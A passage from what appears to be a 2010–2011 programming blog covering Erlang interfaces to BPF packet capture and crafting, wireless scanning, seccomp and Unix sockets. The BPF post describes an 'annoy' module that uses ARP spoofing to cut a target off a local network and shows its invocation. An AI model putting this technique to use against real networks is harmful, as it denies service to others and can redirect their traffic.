[ List || List <- "Incomprehension" ].

BPF and Erlang

2011-04-23T21:47:00.004-04:00

An Erlang Interface to the Berkeley Packet Filter

The man page about bpf says:

The Berkeley Packet Filter provides a raw interface to data link layers

in a protocol independent fashion.  All packets on the network, even

those destined for other hosts, are accessible through this mechanism.

On BSD systems, bpf can be used for capturing and generating raw network frames. We can use bpf to send and receive network packets from Erlang code in a similar way to using the PF_PACKET socket interface on Linux.

All of the code presented here was run on Mac OS X (Snow Leopard). Hopefully the code is portable to all BSD operating systems. If it isn't, let me know in the comments or email me.

Pre-Requisites for Running the Code Examples

For the Erlang examples below, you'll need a fairly recent version of Erlang and a few libraries. You can download the Erlang source code or check it out from github:

git clone git://github.com/erlang/otp.git

procket is an NIF used to extend the Erlang runtime to make the various system calls. You can check it out here:

git clone git://github.com/msantos/procket.git

See the README, there is a bit of work involving setting up sudo to run a helper app.

Finally, the examples use another small library (pkt) to parse the packets using Erlang binaries and convert packets from Erlang records to binaries. It's available here:

git clone git://github.com/msantos/pkt.git

To compile the example Erlang modules:

erlc -I /path/to/procket/include -I /path/to/pkt/include annoy.erl

The BPF C Interface

The bpf character device is used to transfer raw network frames between user space and the kernel. On Mac OS X, there are a fixed number of available devices, each acting as a communication path for a single process.

Using bpf works as follows:

Starting from 0, open the bpf devices. If the the open() system call returns failure (-1) and errno is set to EBUSY, try the next character device, e.g., /dev/bpf1.

Typical values for errno might be:
- EPERM: the process does not have permission to access the character device. Either the process can temporarily be given superuser privileges or the permissions of the character device can be modified.
Since bpf relies on the file permissions of the character device, the act of opening the device is the only operation that requires privileges. Other operations on the file descriptor do not require any special privileges.
- ENOENT: the bpf device does not exist
The open() call returns a file descriptor.
ioctl() is used to associate the bpf device with an interface
ioctl() is used to retrieve the bpf buffer length

The bpf device maintains a fixed buffer size. For efficiency, reads performed on the bpf device will block until either the buffer is full or a timeout is reached (by default, infinity). As a consequence, several packets may be returned by a single read.
Set some optional attributes that affects the behaviour of the bpf device.

For example:
- BIOCSHDRCMPLT: by default, the bpf device will construct a valid packet header for the underlying datalink type. Setting the "header complete" attribute allows the user to set the packet headers themselves.
- BIOCSEESENT: the bpf device does not return packets sent from the host. This ioctl request can be used to change that behaviour.
- BIOCIMMEDIATE: causes reads to immediately return after a packet is returned rather than buffering the packets
Apply filtering rules using BPF bytecode.

bpf supports a set of instructions that allow the user to restrict which packets are returned by the device.

See this tutorial for a clear, concise example of capturing packets in C.

I've also put together some simple, runnable code. To compile it:

gcc -g -Wall -o bpf bpf.c

To keep the example from becoming too huge, not much is done except printing out the ethernet header. We'll cover more interesting ways of using bpf later.

The Erlang BPF Interface

To use bpf within Erlang, we'll need to be able to open the bpf device, perform the appropriate ioctl() operations, generate BPF filtering code and read and write from the device.

Opening the BPF Device

procket uses a setuid helper executable to open the bpf character device and pass the file descriptor back to Erlang:

{ok, Socket} = procket:dev("bpf").

Or using the bpf module:

{ok, Socket, Length} = bpf:open("en1").

Controlling the BPF Device

Once we have the file descriptor, we can set the device attributes by using the procket:ioctl/3 NIF.

The bpf header file defines a number of macros for calculating the correct ioctl request. Porting these macros to Erlang is straightforward.

According the to the man page on Mac OS X, the ioctl signature is defined as:

int ioctl(int fildes, unsigned long request, ...);

An ioctl request is an unsigned long, so the size of the command will either be 4 or 8 bytes, depending on whether the platform is 32 or 64-bit. However, the ioctl macros compute the request with the assumption that the command is a word (or 4 bytes): the lower half of the word holds the command and the top half has the length and the direction of the command.

(The number after the colon represents the number of bits in the field.)

Copy argument into kernel:1
Copy argument from kernel:1
No arguments:1
Parameter length:13
Command group:8
Command:8

The fields in order are:

IN: if set, the argument (the 3rd argument to ioctl) is read from the user space buffer
OUT: if set, the argument is written to the user space buffer

A command that is IN/OUT will have the contents of the buffer read by the kernel and written back.

VOID: no arguments are required by the ioctl request
Length: the size of the command in bytes
Group: the command group acts as namespace for organizing the ioctl requests
Command: 1 byte is reserved for the actual command

For example, the BIOCSHDRCMPLT macro in C is:

#define IOCPARM_MASK    0x1fff      /* parameter length, at most 13 bits */

#define _IOC(inout,group,num,len) \

    (inout | ((len & IOCPARM_MASK) << 16) | ((group) << 8) | (num))

#define IOC_IN      (__uint32_t)0x80000000

#define _IOW(g,n,t) _IOC(IOC_IN,    (g), (n), sizeof(t))



#define BIOCSHDRCMPLT   _IOW('B',117, u_int)

The corresponding macro defined in Erlang:

-define(SIZEOF_U_INT, 4).

-define(IOCPARM_MASK, 16#1fff).

-define(IOC_INOUT, ?IOC_IN bor ?IOC_OUT).



-define(BIOCSHDRCMPLT, bpf:iow($B, 117, ?SIZEOF_U_INT)).



ioc(Inout, Group, Num, Len) ->

    Inout bor ((Len band ?IOCPARM_MASK) bsl 16) bor (Group bsl 8) bor Num.



iow(G,N,T) ->

    ioc(?IOC_IN, G, N, T).

To set the "header complete" mode from within Erlang:

procket:ioctl(Socket, ?BIOCSHDRCMPLT, <<1:32/native>>).

Or using the bpf module:

bpf:ctl(Sockt, hdrcmplt, true).

BPF Filtering

bpf has a bytecode language to filter out unwanted packets. The bytecode is generated by a set of macros in the bpf header file. For convenience in porting examples to Erlang, I defined macros wrapping the Erlang functions.

A BPF filtering program consists of an 8 byte instruction:

struct bpf_insn {

    u_short code;

    u_char  jt;

    u_char  jf;

    bpf_u_int32 k;

};

code: 2 bytes

The opcodes are a set of instructions for moving within the packet, testing values and control flow. The opcodes are OR'ed together.

jt: 1 byte

jump true: if the operation evaluates as true (non-0), jump this many instructions. Instructions are numbered from 0 (the statement following the test is instruction 0).

jf: 1 byte

jump false: if the operation evaluates as false (0), jump this many instructions. Instructions use a 0 offset, starting with the following instruction.

k: 4 bytes (the man page incorrectly defines this field as a u_long)

A value whose usage depends on the opcode.

An Example in C

I'll illustrate how the filters work by using an example from the man page. This example filters out all packets except reverse proxy requests:

struct bpf_insn insns[] = {

    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12),

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_REVARP, 0, 3),

    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 20),

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, REVARP_REQUEST, 0, 1),

    BPF_STMT(BPF_RET+BPF_K, sizeof(struct ether_arp) +

        sizeof(struct ether_header)),

    BPF_STMT(BPF_RET+BPF_K, 0),

};

BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12)

The BPF_STMT macro takes an opcode and a k value as arguments.
- BPF_LD: load value (move to offset)
- BPF_H: load a half word value (2 bytes)
- BPF_ABS: use an absolute offset from the beginning of the packet
- 12: move 12 bytes into the ethernet frame
An ethernet frame looks like (the numbers are bytes):
1. Destination MAC Address:6
2. Source MAC Address:6
3. Type:2
A 12 byte offset leaves the program at the ethernet type.
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_REVARP, 0, 3)

The BPF_JUMP macro arguments are: opcode, k, jt, jf
- BPF_JMP: A branching operation, depending on whether the test evaluates as true or not
- BPF_JEQ: the equality of the value at this offset (defined in the previous instruction as a half-word) is tested against the value held in the k field.
  
  If the value is equal to ETHERTYPE_REVARP (0x8035), the packet is a reverse ARP packet and control drops to the next statement. If the statement is false (for example, it is an IP packet), control jumps to the final statement:
```
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_REVARP, 0, 3),

0: BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 20),

1: BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, REVARP_REQUEST, 0, 1),

2: BPF_STMT(BPF_RET+BPF_K, sizeof(struct ether_arp) +

    sizeof(struct ether_header)),

3: BPF_STMT(BPF_RET+BPF_K, 0),
```
BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 20)

The packet is a reverse arp packet. Move to offset 20. A reverse ARP packet looks like (numbers are bytes):

Hardware Type:2
Protocol Type:2
Hardware Length:1
Protocol Length:1
Operation:2
Sending Hardware Address:6
Sending IP Address:4
Target Hardware Address:6
Target IP Address:4

An offset of 20 (ethernet frame = 14, so 6 bytes into the ARP packet) puts the program at the ARP operation, a 2 byte (half-word) field.

BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, REVARP_REQUEST, 0, 1)

If the value of the offset is equal to REVARP_REQUEST (3) move to the next instruction.

Otherwise, jump 1 instruction to the final return statement:

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, REVARP_REQUEST, 0, 1),

    0: BPF_STMT(BPF_RET+BPF_K, sizeof(struct ether_arp) +

        sizeof(struct ether_header)),

    1: BPF_STMT(BPF_RET+BPF_K, 0),

BPF_STMT(BPF_RET+BPF_K, sizeof(struct ether_arp) + sizeof(struct ether_header))

BPF_RET: return the value in the k field. "k" number of bytes of the packet will be returned to the bpf device.

BPF_STMT(BPF_RET+BPF_K, 0)

0 bytes is returned to the bpf device. The packet is dropped.

An Example in Erlang

Here is another example from the bpf man page: sniffing finger requests. Yes, the bpf man page appears to have been written in a long ago age, when reverse ARP and finger requests roamed the networks.

First the C version:

struct bpf_insn insns[] = {

    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 12),

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ETHERTYPE_IP, 0, 10),

    BPF_STMT(BPF_LD+BPF_B+BPF_ABS, 23),

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, IPPROTO_TCP, 0, 8),

    BPF_STMT(BPF_LD+BPF_H+BPF_ABS, 20),

    BPF_JUMP(BPF_JMP+BPF_JSET+BPF_K, 0x1fff, 6, 0),

    BPF_STMT(BPF_LDX+BPF_B+BPF_MSH, 14),

    BPF_STMT(BPF_LD+BPF_H+BPF_IND, 14),

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 79, 2, 0),

    BPF_STMT(BPF_LD+BPF_H+BPF_IND, 16),

    BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, 79, 0, 1),

    BPF_STMT(BPF_RET+BPF_K, (u_int)-1),

    BPF_STMT(BPF_RET+BPF_K, 0),

};

Now the Erlang version (with comments):

-include("bpf.hrl").



-define(ETHERTYPE_IP, 16#0800).

-define(IPPROTO_TCP, 6).



finger() ->

    [   

        % Ethernet

        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_ABS, 12),                     % offset = Ethernet Type

        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, ?ETHERTYPE_IP, 0, 10),  % type = IP



        % IP

        ?BPF_STMT(?BPF_LD+?BPF_B+?BPF_ABS, 23),                     % offset = ip protocol

        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, ?IPPROTO_TCP, 0, 8),    % protocol = TCP



        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_ABS, 20),                     % offset = flags, frag offset

        ?BPF_JUMP(?BPF_JMP+?BPF_JSET+?BPF_K, 16#1fff, 6, 0),        % frag offset: mask the top 3 bits

                                                                    %  and AND with 1's

                                                                    %  If any non-0 value is returned from the

                                                                    %  AND (i.e., frag offset is non-0), jump

                                                                    %  to the end and drop the packet



        ?BPF_STMT(?BPF_LDX+?BPF_B+?BPF_MSH, 14),                    % offset = IP version, IP header length

                                                                    %  Load the header length into the index

                                                                    %  register



        % TCP

        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_IND, 14),                     % offset = TCP source port

                                                                    %  Move from offset 14 (start of IP packet)

                                                                    %  plus the value held in the index register

                                                                    %  (IP header length). Puts us at the start

                                                                    %  of the TCP packet (at the source port)

        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, 79, 2, 0),              % source port = 79

        ?BPF_STMT(?BPF_LD+?BPF_H+?BPF_IND, 16),                     % offset = destination port

        ?BPF_JUMP(?BPF_JMP+?BPF_JEQ+?BPF_K, 79, 0, 1),              % destination port = 79

        ?BPF_STMT(?BPF_RET+?BPF_K, 16#FFFFFFFF),                    % return: entire packet

        ?BPF_STMT(?BPF_RET+?BPF_K, 0)                               % return: drop packet

].

Note that this filter does not check if the packet is IPv4.

Loading the Filter

To load the filter, another ioctl (BIOCSETF) is called. The ioctl takes a structure with a length and a pointer to the instructions:

struct bpf_program {

    u_int bf_len;

    struct bpf_insn *bf_insns;

};

The length field is set to the number of instructions, not the size of the instructions. In the first example (the reverse ARP filter), the length is 6.

In Erlang, the filter is loaded using:

Insn = finger(),

{ok, Code, [Res]} = procket:alloc([

    <<(length(Insn)):4/native-unsigned-integer-unit:8>>,

    {ptr, list_to_binary(Insn)}

]),

case procket:ioctl(Socket, ?BIOCSETF, Code) of

    {ok, _} ->

        procket:buf(Res);

    Error ->

        Error

end.

Or, more simply, using the bpf module:

bpf:ctl(Socket, setf, finger()).

BPF Filter Examples

BPF Packet Capture

Capturing packets is as simple as reading from the bpf device.

To work with file descriptors, procket needs to support the read and write system calls.

{ok, Buf} = procket:read(FD, Length).

The captured packet is not an ethernet frame (or a frame of whatever datalink type you happen to be sniffing): it's a buffer prepended with a header containing information about the packet that follows.

struct bpf_hdr {

    struct timeval bh_tstamp;     /* time stamp */

    u_long bh_caplen;             /* length of captured portion */

    u_long bh_datalen;            /* original length of packet */

    u_short bh_hdrlen;            /* length of bpf header (this struct

                                     plus alignment padding */

};

bh_timestamp differs between 32 and 64-bit platforms
- On a 32-bit platform, struct timeval has a 4 byte sec and usec field.
- On a 64-bit platform, struct timeval has an 8 byte sec and a 4 byte usec field.
bh_caplen is the size of the captured packet that follows
bh_datalen is the real packet length. The packet may have been truncated.
bh_hdrlen is the real size of the bpf_hdr structure which may be padded due to alignment

To determine the start of the next packet, the bpf header provides a macro. Similarly the Erlang bpf module provides a module to calculate the proper offset:

?BPF_WORDALIGN(Hdrlen + Caplen).

The bpf module will do the calculations for you:

{ok, Length} = bpf:ctl(Socket, blen),

{ok, Buf} = procket:read(Socket, Length),

{bpf_buf, Time, Datalen, Packet, Rest} = bpf:buf(Socket).

Here is a complete example of using the bpf module to dump packets. It can be used with the filt module, if you want to play with the fcode filtering. To start it:

% en1 is the wireless device

% rule = ( src host 10.10.10.10 or dst host 10.10.10.10 ) and ( src port 80 or dst port 80)

dump:start("en1", filt:tcp({10,10,10,10}, 80)).

BPF Packet Generation

Generating crafted packets is even simpler: write the packet to the bpf device. The packet must be valid.

Be careful, crafted packets can have strange effects. On Mac OS X, I found a few odd cases that caused the network interface to go down. For example, sending out ARP replies from a spoofed MAC address or even advertising 0.0.0.0 with the macbook's MAC address.

This example acts as a sort of peer to peer QoS, should you ever need to kick someone off of a local network. This code acts in 2 ways:

It continually arps for whatever IP the target advertises. Eventually, the target system will give up and go offline.
Since gratuious arps are sent aggressively, the gateway will consider our MAC address to be the MAC address for the target's IP address and will send packets to us, effectively cutting off the target system.

To use the code, you will need to know the target's MAC and IP address.

% our interface: en1

% target:

%  MAC = "00:aa:bb:cc:dd:ee"

%  IP = "10.10.10.10"

annoy:er("en1", "00:aa:bb:cc:dd:ee", "10.10.10.10").

Wireless Scanning with Erlang

2011-03-07T19:51:00.013-05:00

Scanning for Wireless Access Points with Erlang

The Linux wireless LAN network interface (802.11) uses a socket/ioctlinterface to communicate with the kernel. I am going to go over buildingan Erlang interface for initiating scanning and retrieving the scanresults.

All of this code was run on Ubuntu 10.04 using constants defined in wireless.22.hof the wireless tools for Linux.

The Scanning Process

The scan process works as follows:

Open a datagram socket
Allocate a iwreq structure. The structure contains the device nameused for scanning and a pointer to an optional user allocated buffercontaining an ESSID. According to the man page, specifying an ESSID withsome drivers allows hidden networks to be found.
Call an ioctl on the socket with the request set to SIOCSIWSCAN (0x8B18).
Allocate another iwreq structure containing a pointer to a userallocated buffer with enough space to hold the response.
Call a second ioctl on the socket with the request set to SIOCGIWSCAN (0x8B19)
When the ioctl returns successfully, both the iwreq structure and theuser allocated buffer are updated. The iwreq structure contains the actualsize of the data held in the buffer and the buffer holds the set of events.

length:2 bytes
command:2 bytes
data:(length-4)

Examples of data types are the ESSID, BSSID, channel, etc.

The iwreq Structure

The iwreq structure is composed of 2 unions:

#define IFNAMSIZ 16

struct  iwreq
{
    union
    {
        char    ifrn_name[IFNAMSIZ];    /* if name, e.g. "eth0" */
    } ifr_ifrn;

    /* Data part (defined just above) */
    union   iwreq_data  u;
};

The iwreq_data union is constrained to 32 bytes and composed of the following:

union   iwreq_data
{
    /* Config - generic */
    char        name[IFNAMSIZ];
    /* Name : used to verify the presence of  wireless extensions.
     * Name of the protocol/provider... */

    struct iw_point essid;      /* Extended network name */
    struct iw_param nwid;       /* network id (or domain - the cell) */
    struct iw_freq  freq;       /* frequency or channel :
                                 * 0-1000 = channel
                                 * > 1000 = frequency in Hz */

    struct iw_param sens;       /* signal level threshold */
    struct iw_param bitrate;    /* default bit rate */
    struct iw_param txpower;    /* default transmit power */
    struct iw_param rts;        /* RTS threshold threshold */
    struct iw_param frag;       /* Fragmentation threshold */
    __u32       mode;           /* Operation mode */
    struct iw_param retry;      /* Retry limits & lifetime */

    struct iw_point encoding;   /* Encoding stuff : tokens */
    struct iw_param power;      /* PM duration/timeout */
    struct iw_quality qual;     /* Quality part of statistics */

    struct sockaddr ap_addr;    /* Access point address */
    struct sockaddr addr;       /* Destination address (hw/mac) */

    struct iw_param param;      /* Other small parameters */
    struct iw_point data;       /* Other large parameters */
};

Some of the data may be larger than can be held in the union. The iw_point structure, for example, contains a pointer to user allocated memory that can be used to hold either arguments to be read by the kernel or data returned by the kernel.

The iw_point structure looks like:

struct  iw_point
{
    void __user   *pointer; /* Pointer to the data  (in user space) */
    __u16     length;       /* number of fields or size in bytes */
    __u16     flags;        /* Optional params */
};

The SIOCSIWSCAN ioctl

To initiate the scan, we call an ioctl on a socket file descriptor. Any socket type can be used. The structure we pass to ioctl contains the interface name. For example, to scan using the default ESSID:

struct iwreq iwr = {0};

(void)memcpy(iwr.ifr_ifrn.ifrn_name, "wlan0", IFNAMSIZ);
iwr.u.data.pointer = NULL;
iwr.u.data.length = 0;
iwr.u.data.flags = 0;

To scan a specific ESSID without disassociating from the current AP:

#define IW_SCAN_THIS_ESSID 16#0002

struct iwreq iwr = {0};
char *essid = NULL;

(void)memcpy(iwr.ifr_ifrn.ifrn_name, "wlan0", IFNAMSIZ);
essid = strdup("linksys");
if (essid == NULL)
    err(EXIT_FAILURE, "strdup");

iwr.u.data.pointer = essid;
iwr.u.data.length = strlen(essid)+1;
iwr.u.data.flags |= IW_SCAN_THIS_ESSID;

The ioctl is called using the iwreq structure and indicates an error by a non-zero return value, with the reason held in errno.

ioctl(socket, SIOCSIWSCAN, &iwr);

The iwreq structure is not modified upon return (or at least, we do not care if has changed).

Common errors are:

EAGAIN: the scan has not completed. We will need to wait and poll thesocket after a period of time has passed.
EBUSY: another scan is currently in progress. Again, we will need tosleep and poll the socket later.
ENOTSUP: the requested device is not a wireless device

The SIOCGIWSCAN ioctl

To retrieve the results of the last scan, we issue another ioctl with the request set to SIOCGIWSCAN. The iwreq structure must point to a buffer large enough to hold the response (the list of APs).

#define BUFSZ 4096

struct iwreq iwr = {0};
char *p = NULL;

(void)memcpy(iwr.ifr_ifrn.ifrn_name, "wlan0", IFNAMSIZ);
p = calloc(BUFSZ,1);
if (p == NULL)
    err(EXIT_FAILURE, "calloc");

iwr.u.data.pointer = p;
iwr.u.data.length = BUFSZ;
iwr.u.data.flags = 0;

After the ioctl returns (it may fail for the same reasons as above):

the iwreq structure will be updated to hold the actual size of the data in our buffer
our buffer will hold the scan list

An Erlang Approach to Pointers and ioctl()'s: Resources

To make system calls that aren't supported by the Erlang VM, we will need to integrate a small amount of C code using Erlang's NIF interface. The procket library on GitHub was made to perform some low level operations on sockets. I've added some additional functions to deal with versions of ioctl() using input/output fields containing pointers to memory:

procket:alloc/1
procket:buf/1

It's easier to explain by giving an example:

Len = 16,
{ok, Struct, [Resource1, Resource2]} = procket:alloc([
        <<Len:2/native-unsigned-integer-unit:8>>,
        {ptr, Len},
        <<Flags:2/native-unsigned-integer-unit:8>>,
        {ptr, <<"some data">>}
        ]).

Where:

Struct: a binary that can be passed to procket:ioctl/3

This binary contains the actual pointer and so should be considered to be read-only. Modifying the binary could result in the VM crashing.

Resource1, Resource2: NIF resources

The first resource points to a zero'ed 16 byte buffer.

The second resource points to a 9 byte buffer initialized with the string "some data".

procket:buf/1 is used to retrieve the contents of the buffer. Here is a complete example: retrieving the list of network interfaces (usually you would just use inet:getifaddrs/0).

-module(ifconf).
-export([dev/0]).

%% Get the list of network interfaces similar to
%% inet:getifaddrs/0

-define(SIOCGIFCONF, 16#00008912).


% struct ifconf
% {   
%     int ifc_len;            /* size of buffer   */
%     union
%     {   
%         char *ifcu_buf;
%         struct ifreq *ifcu_req;
%     } ifc_ifcu;
% };

dev() ->
    Len = 8192,
    {ok, Ifconf, [Res]} = procket:alloc([
        <<Len:4/native-integer-unit:8>>,
        {ptr, Len}
        ]),

    {ok, Socket} = procket:socket(inet, dgram, 0),
    {ok, Ifconf1} = procket:ioctl(Socket, ?SIOCGIFCONF, Ifconf),
    {ok, Buf} = procket:buf(Res),

    <<N:4/native-integer-unit:8, _/binary>> = Ifconf1,
    Ifs = ifreq(Buf, N),

    procket:close(Socket),
    {ok, Ifconf, Ifconf1, Buf, Ifs}.

% struct ifreq
% {
%     #define IFHWADDRLEN 6
%     union
%     {  
%         char    ifrn_name[IFNAMSIZ];        /* if name, e.g. "en0" */
%     } ifr_ifrn;
% 
%     union {
%         struct  sockaddr ifru_addr;
%         struct  sockaddr ifru_dstaddr;
%         struct  sockaddr ifru_broadaddr;
%         struct  sockaddr ifru_netmask;
%         struct  sockaddr ifru_hwaddr;
%         short   ifru_flags;
%         int ifru_ivalue;
%         int ifru_mtu;
%         struct  ifmap ifru_map;
%         char    ifru_slave[IFNAMSIZ];   /* Just fits the size */
%         char    ifru_newname[IFNAMSIZ];
%         void *  ifru_data;
%         struct  if_settings ifru_settings;
%     } ifr_ifru;
% };

% struct sockaddr_in
% {
%     __SOCKADDR_COMMON (sin_);
%     in_port_t sin_port;         /* Port number.  */
%     struct in_addr sin_addr;        /* Internet address.  */
% 
%     /* Pad to size of `struct sockaddr'.  */
%     unsigned char sin_zero[sizeof (struct sockaddr) -
%         __SOCKADDR_COMMON_SIZE -
%         sizeof (in_port_t) - sizeof (struct in_addr)];
% };

ifreq(Buf, N) ->
    <<Buf1:N/bytes, _/binary>> = Buf,
    ifreq1(Buf1, []).

ifreq1(<<>>, Ifs) ->
    Ifs;
ifreq1(<<
    Name:16/bytes,
    _Family:16,
    _Port:16,
    IP1:8, IP2:8, IP3:8, IP4:8,
    _:64,
    Rest/binary
    >>, Ifs) ->
    [Dev, _] = binary:split(Name, <<0>>),
    ifreq1(Rest, [{Dev, {IP1,IP2,IP3,IP4}}|Ifs]).

Running a Scan Using Erlang

So finally combining all of the above, we can begin putting the code together to do an AP scan from Erlang. For brevity, I've removed some of the error handling, etc, the code is available on GitHub.

Privileges

To use this code, beam will either have to be running as root or (preferably) have the CAP_NET_ADMIN privilege. To set it:

setcap cap_net_admin=ep /path/to/beam

To check the privs have been set:

getcap /path/to/beam

To remove the privs after you're done playing:

setcap -r /path/to/beam

The code

Running it

erl -pa /path/to/procket/ebin

1> wierl:start(<<"wlan0">>).
bssid:<<1,0,0,30,74,31,75,76,0,0,0,0,0,0,0,0>>
freq:<<1,0,0,0,0,0,0,0>>
freq:<<108,9,0,0,6,0,0,0>>
qual:<<40,186,0,75>>
encode:<<0,0,0,128>>
essid:<<14,0,1,0,116,104,101,101,115,115,105,100,105,115,97,108, 105,101>>
rate:<<64,66,15,0,0,0,0,0,128,132,30,0,0,0,0,0,96,236,83,0,0,0,0,0,128,141,91,
       0,0,0,0,0,64,84,137,0,0,0,0,0,192,216,167,0,0,0,0,0,0,27,183,0,0,0,0,0,
       128,168,18,1,0,0,0,0>>
rate:<<0,54,110,1,0,0,0,0,0,81,37,2,0,0,0,0,0,108,220,2,0,0,0,0,128,249,55,3,0,
       0,0,0>>
mode:<<3,0,0,0>>
custom:<<20,0,0,0,116,115,102,61,48,48,48,48,48,48,50,57,50,48,99,98,101,49,
         102,56>>
custom:<<23,0,0,0,32,76,97,115,116,32,98,101,97,99,111,110,58,32,53,54,52,109,
         115,32,97,103,111>>
genie:<<88,0,0,0,0,19,87,105,114,101,108,101,115,115,77,105,115,115,105,115,
        115,97,117,103,97,1,8,130,132,139,12,18,150,24,36,3,1,1,7,6,67,65,32,1,
        11,30,42,1,2,50,4,48,72,96,108,150,6,0,64,150,0,20,0,221,6,0,64,150,1,
        1,4,221,5,0,64,150,3,5,221,5,0,64,150,11,9,221,5,0,64,150,20,0>>

Decoding the Binaries

Decoding the scan results is simple. For example, for those of you stalking me, from the example above:

the bssid looks like: <<1,0, Bytes:6/bytes, 0,0,0,0,0,0,0,0>>

Each of the 6 bytes can be printed as hex. In the example:

1> <<1,0, BSSID:6/bytes, 0,0,0,0,0,0,0,0>> = <<1,0,0,30,74,31,75,76,0,0,0,0,0,0,0,0>>.
<<1,0,0,30,74,31,75,76,0,0,0,0,0,0,0,0>>
2> lists:flatten(string:join([ io_lib:format("~.16b", [N]) || <<N:8>> <= BSSID ], ":")).
"0:1e:4a:1f:4b:4c"

~~What's the preceding <<1,0>>? No idea as yet :)~~The BSSID is a struct sockaddr:


struct sockaddr {
    sa_family_t family; /* uint16_t */
    char sa_data[14];
}

The family is set to ARPHRD_ETHER or 1 in native endian format (little in the example above). The BSSID, like a MAC address, is 6 bytes. The remaining 8 bytes are zeroes.

the frequency is either a native, unsigned 64-bit integer holdingeither the channel (usually a number from 1-11) or the frequency

In the example above, a channel is indicated by a number less than 1000:

1> <<Channel:8/native-unsigned-integer-unit:8>> = <<1,0,0,0,0,0,0,0>>.
1.

And the frequency, if it's available, can be calculated like this:

1> <<Mantissa:4/native-signed-integer-unit:8, Exponent:2/native-signed-integer-unit:8, _I:8, _Flags:8>> = <<108,9,0,0,6,0,0,0>>.
<<108,9,0,0,6,0,0,0>>
2> Mantissa*math:pow(10, Exponent).
2.412e9

the ESSID is prefaced by the length, 2 bytes set to 1 and the ESSID:

From the example:

1> <<Len:2/native-unsigned-integer-unit:8, 1:2/native-unsigned-integer-unit:8, ESSID/binary>> = <<14,0,1,0,116,104,101,101,115,115,105,100,105,115,97,108, 105,101>>.
<<14,0,1,0,116,104,101,101,115,115,105,100,105,115,97,108, 105,101>>
2> Len.
14
16> ESSID.
<<"theessidisalie">>

the quality: each byte represents a statistic

From the example:

17> <<Qual:8, Level:8/signed, Noise:8, Updated:8>> = <<40,186,0,75>>. 
<<40,186,0,75>>
18> {Qual, Level, Noise, Updated}.
{40,-70,0,75}

So the signal quality of this AP is ok (40/70).

Quick prctl(PR_SETSECCOMP) Example

2011-02-07T17:06:00.002-05:00

Using prctl(PR_SETSECCOMP) allows a process -- running without any special permissions -- to restrict itself to only 4 system calls: read(2), write(2), _exit(2), and sigreturn(2). Anything else results in the process getting slapped with a SIGKILL. Useful, maybe, for sandboxing.

Trying it out by looking at the man page:

prctl(PR_SET_SECCOMP, 0x1, 0, 0, 0) = 0
+++ killed by SIGKILL +++
Killed

prctl returns 0 (success) but then is killed when it calls _exit(2).

Thanks to this ticket for an explanation and working code.

#include <unistd.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <asm/unistd.h>

    int
main(int argc, char *argv[])
{
    if (prctl(PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
        (void)write(STDERR_FILENO, "prctl failed\n", 13);
    else
        (void)write(STDOUT_FILENO, "prctl ok\n", 9);

    (void)syscall(__NR_exit);
}

And here is an example that echoes back any data typed in on standard input with the length prepended:

#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <asm/unistd.h>

void length();


    int
main(int argc, char *argv[])
{
    if (prctl(PR_SET_SECCOMP, 1, 0, 0, 0) != 0) {
        (void)write(STDERR_FILENO, "prctl failed\n", 13);
    }
    else {
        (void)write(STDOUT_FILENO, "prctl ok\n", 9);
        length();
    }

    (void)syscall(__NR_exit);
}

    void
length()
{
    char buf[1024];
    char num[256];
    size_t n = 0;

    for ( ; ; ) {
        (void)memset(buf, 0, sizeof(buf));
        (void)memset(num, 0, sizeof(num));

        n = read(STDIN_FILENO, buf, sizeof(buf)-1);

        if (n <= 0)
            return;

        (void)snprintf(num, sizeof(num), "%u:", n);

        (void)write(STDOUT_FILENO, num, strlen(num));
        (void)write(STDOUT_FILENO, buf, strlen(buf));
    }
}

Unix Sockets

2010-12-25T09:57:00.000-05:00

There are various ways to use Unix sockets from within Erlang such as gen_socket and unixdom_drv. Code examples are even bundled with the Erlang source.

To work with Unix sockets, I've broken out the socket primitives in the procket NIF and made them accessible from Erlang.

Unix (or local or file) sockets reside as files on the local server filesystem. Like internet sockets, the Unix version can be created as either stream (reliable, connected, no packet boundary) or datagram (unreliable, packet boundaries) sockets.

Creating a Datagram Socket

The Erlang procket functions are simple wrappers around the C library. See the C library man pages for more details.

To register the server, we get a socket file descriptor and bind it to the pathname of the socket on the filesystem. The bind function takes 2 arguments, the file descriptor and a sockaddr_un. On Linux, the sockaddr_un is defined as:

typedef unsigned short int sa_family_t;

struct sockaddr_un {
    sa_family_t sun_family;         /* 2 bytes: AF_UNIX */
    char sun_path[UNIX_PATH_MAX];   /* 108 bytes: pathname */
};

We use a binary to compose the structure, zero'ing out the unused portion:

#define UNIX_PATH_MAX 108
#define PATH <<"/tmp/unix.sock">>

<<?PF_LOCAL:16/native,        % sun_family
  ?PATH/binary,               % address
  0:((?UNIX_PATH_MAX-byte_size(?PATH))*8)
>>

This binary representation of the socket structure has a portability issue. For BSD systems, the first byte of the structure holds the length of the socket address. The second byte is set to the protocol family. The value for UNIX_PATH_MAX is also smaller:

